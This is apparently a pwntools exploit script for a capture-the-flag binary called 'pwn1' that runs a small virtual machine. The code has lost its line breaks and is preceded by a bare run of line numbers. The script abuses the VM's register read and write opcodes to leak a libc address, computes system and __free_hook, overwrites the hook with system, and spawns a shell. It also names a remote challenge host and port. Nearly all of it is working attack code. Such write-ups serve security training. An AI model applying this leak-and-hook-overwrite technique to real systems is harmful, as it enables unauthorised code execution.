1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| from pwn import *
arch = 64 challenge = './pwn1'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc-2.23.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') def debug(): gdb.attach(p,"b *$rebase(0xF48)\n") pause() def cmd(op): p.sendline(str(op)) def mov(rx,data): payload = 0x10000000 + rx*0x10000 + data sl(str(payload))
def shl(r1,r2,r3): payload = 0xc0000000 + r1*0x10000 + r2*0x100 + r3 sl(str(payload))
def add(r1,r2,r3): payload = 0x70000000 + r1*0x10000 + r2*0x100 + r3 sl(str(payload))
def sub(r1,r2,r3): payload = 0x80000000 + r1*0x10000 + r2*0x100 + r3 sl(str(payload))
def show(): sl(str(0xf000000000))
def read(r1,r3): payload = 0x30000000 + r1*0x10000 + r3 sl(str(payload))
def write(r1,r3): payload = 0x40000000 + r1*0x10000 + r3 sl(str(payload))
sla("PC: ",str(0x10)) sla("SP: ",str(0x10)) sla("CODE SIZE: ",str(24))
p.recvuntil("CODE: ")
mov(0,1) mov(1,62) sub(2,0,1) read(8,2) sub(2,2,0) read(9,2)
mov(0,0x60) mov(1,0x22) mov(3,0x34) mov(4,8) shl(1,1,4) mov(4,16) shl(3,3,4) add(4,0,1) add(4,4,3) add(10,4,9)
mov(0,0) mov(1,8) sub(2,0,1) mov(0,1) write(10,2) add(2,2,0) write(8,2)
show()
p.recvuntil("R8: ") leak_addr1 = eval("0x"+p.recvuntil("\n")[:-1]) p.recvuntil("R9: ") leak_addr2 = eval("0x"+p.recvuntil("\n")[:-1]) leak_addr = leak_addr1 *0x100000000 + leak_addr2 libc_base = leak_addr - libc.sym['free'] success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
system = libc_base + libc.sym['system'] free = libc_base + libc.sym['free'] free_hook = libc_base + libc.sym['__free_hook'] success("system >> "+hex(system)) success("free >> "+hex(free)) success("free_hook >> "+hex(free_hook))
sl("/bin/sh\x00"+p64(system))
""" [+] free >> 0x7fa41010f540 [+] free_hook >> 0x7fa4104517a8 pwndbg> distance 0x7fa41010f540 0x7fa4104517a8 0x7fa41010f540->0x7fa4104517a8 is 0x342268 bytes (0x6844d words) """
p.interactive()
|